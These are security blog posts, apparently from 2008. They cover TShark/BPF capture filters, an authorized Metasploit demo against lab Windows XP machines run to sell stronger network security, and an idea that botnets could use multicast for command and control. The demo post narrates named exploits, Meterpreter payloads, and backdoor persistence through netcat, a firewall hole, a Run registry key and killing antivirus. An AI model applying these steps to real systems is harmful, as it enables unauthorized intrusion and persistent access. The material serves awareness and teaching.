Keep your goals in mind! If you were capturing traffic that is a Samba CIFS file read for example, you can be pretty sure that the server to client TCP packets will have 1514 bytes of data, so use the default snaplen!

With regard to the Berkeley Packet Filters (libpcap / BPF), the standard language syntax applies. So, if ever in need of help, you can always get on a UN*X host somewhere and do 'man tcpdump' and learn all about the BPF syntax used within libpcap.

Some ideas as follows:

-f "src host 1.2.3.4 and dst host 5.4.3.2"
-f "dst port 22"
-f "dst port 80"

This last example shows some interesting ways to use the BPF syntax in combination with binary masking for very specific filter matches. In the below example, we are taking the 13th byte of the TCP header, shifting it left by a nibble (4 bits), then masking it with 0x40 which is binary 0010 0000, and finally testing it not equal to zero. In short, this will show any packet with the TCP RST flag set, but not exclusively that flag. (ie: would could see purely the RST flag, or perhaps even packets with RST+ACK, or some other illegal combination)

-f "(tcp[13] << 4 & 0x40) != 0"

BPF syntax allows us to either use macros for matching (like: src port), or header field matches with integer offsets for the more sophisticated.

Next time you need to capture traffic that is saturating some network link, give TShark some consideration for ensure a high degree of performance and better accuracy.

Finally, for maximum network and security analyst safety, please always ensure you have the latest version of Wireshark and WinPCAP. There have been published exploits against these open source products and you don't want to be a victim!

Selling security via ethical hacking

2008-10-24T03:11:00.001-07:00

I had the pleasure recently in my organization to receive a directive similar to this. "Please develop a presentation that shows people why they need to be a participant in our new higher security network service".

Ok, calling to all you creative geeks out there - wow... did I just get an order to "ethically hack"? My thinking was "yes" and this turned out to be one of the most fun assignments I had come across in a while.

My first response was to get my "get out of jail free" card signed. (kudos to our friend Ed Skoudis for this one: http://www.counterhack.net/permission_memo.html)

I then went away for 2 weeks to develop a quick and scary hacking demo that I could present in 45 minutes as a pure sales job for higher security. The structure of the demo ended up being a combination of some powerpoint slides, and some real live Metasploit fun.

The powerpoint slides went as follows.

Describe the process of penetrating an enterprise network (scanning, recon, gaining access, keeping access, covering tracks). My colleague did a little google hacking show in the process.
Describe the C programming language and its flaws, paying special attention to how sub-routines in "C" are being exploited due to poor programming practices with respect to unbounded arrays.
Describe how sub-routines in "C" are embedded in just about all of the computing devices in use today
Show a Metasploit Demo!

So, without further ado, lets talk about the Metasploit demo. First of all, I have to admit upfront that this was a time limited (canned) demo and I decided in the interests of keeping my job, not to find targets on our live network. (Although I may have done so if I had obtained enough advance recon. time)

Here is what I did:

Setup a laptop with two virtual machines on it. One of the two had an unpatched WinXP host with no service packs, the second of the two was WinXP with service pack 2.

Using a second MacBook, I scripted two flavors of MetaSploit attacks. I called them "direct network attacks", and "indirect network attacks". The exploits used for either flavor were basically the same, it simply depended on whether I attacked the target directly over a local network (back to back cable) or had the target come to my local web service.

Direct network attack exploits used were as follows:

MS03-026: RPC-DCOM buffer overflow
MS03-049: Workstation Service NetAPI buffer overflow
MS04-007: Abstract Syntax Notation Library (ASN.1) buffer overflow
MS04-011: LSASS buffer overflow

InDirect (phishing style) exploits used were as follows:

MS07-?: Browser LoadAniIcon() in User32.dll
MS07/08-?: Browser generic activex overflow
MS06-001: GDI Library WMF SetAbortProc()

Payloads used were either the VNC DLL injection, Shellcode, or Meterpreter

Finally, both laptops were at the front of the room with two projectors showing each screen. Sort of a "bad guy" and "innocent victim" approach.

Starting with the unpatched WinXP machine, I did the most simple RPC DCOM buffer overflow, and pushed the reverse VNC DLL payload onto the target. On the MacBook, I then simply connected to the VNC server localhost addressed and displayed a mirror image of the screen.

I had a fake looking file called "WIDGET-SALES.TXT" on the desktop which I displayed on the screen to show that the goal was all about gaining access to data (not necessarily about gaining root/system).

I then moved onto the second virtual machine to show a typical phishing attempt. Between my colleague and I, we faked up a google mail page with a URL link in it as the browser home page. On the MacBook, I launched my MetaSploit web listener with the LoadAniIcon() sploit as the payload, and MeterPreter as the payload.

On the WinXP-SP2 virtual, I showed the user clicking on the "phishing URL" within the google email page (from IE). The buffer overflow transpired, and we launched Meterpreter.

Using a meterpreter script, I did the following:

created a hidden directory
uploaded netcat.exe
poked a hole in the Windows firewall on port 8888 with a service name of "msc".
tweaked the "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" registry key to start my backdoor netcat listener on port 8888.

While still using Meterpreter, I killed a few processes (like Symantec AV), executed notepad, calculator, solitaire to truly show the level of control I had over the victim.

I then simply booted the machine from Meterpreter. After the reboot, I showed how I could use netcat from the MacBook to reconnect to the target multiple times, gaining Windows shell access each time.

All of this was accomplished in 45 minutes and let me tell you, I scared the wits out of everyone in the room. The weirdest part for me was that remotely rebooting the victim machine from Meterpreter seemed to have the highest impact. (*sigh* - sometimes you just have to take what you can get....)

However, the bottom line was outrageous success. In one short session, we built demand for more institutional network security implementation than we ever had experienced before. It actually turned into a case of "be careful what you wish for".

Multicast as a recon. or attack vector?

2008-10-24T02:40:00.000-07:00

Having been in the network architecture and security business for some time, I am quite surprised that more network recon. and attack tools have not given consideration to Multicast destinations. The backdrop is that more and more internal networks are video [multicast] enabled, academic Internet2 participants are often Multicast enabled in a Wide Area (WAN) sense.

Assuming minimally some internal network access, it would seem that a quick method of recon. would be to send traffic to a well known multicast app. address / port, and see what yields. At worst, you find a network that is not Multicast enabled and responses at layer 2 only.

More insideous would be the existance of backdoor command and control of botnets listening on Multicast addresses. One would only need access to a single internal network node in a large enterprise to send command and control to the remainder of the herd. Or worse still, if that botnet lived within the Internet2 wide area Multicast space, the command and control aspect could easily be just a trickle of Multicast and not noticed.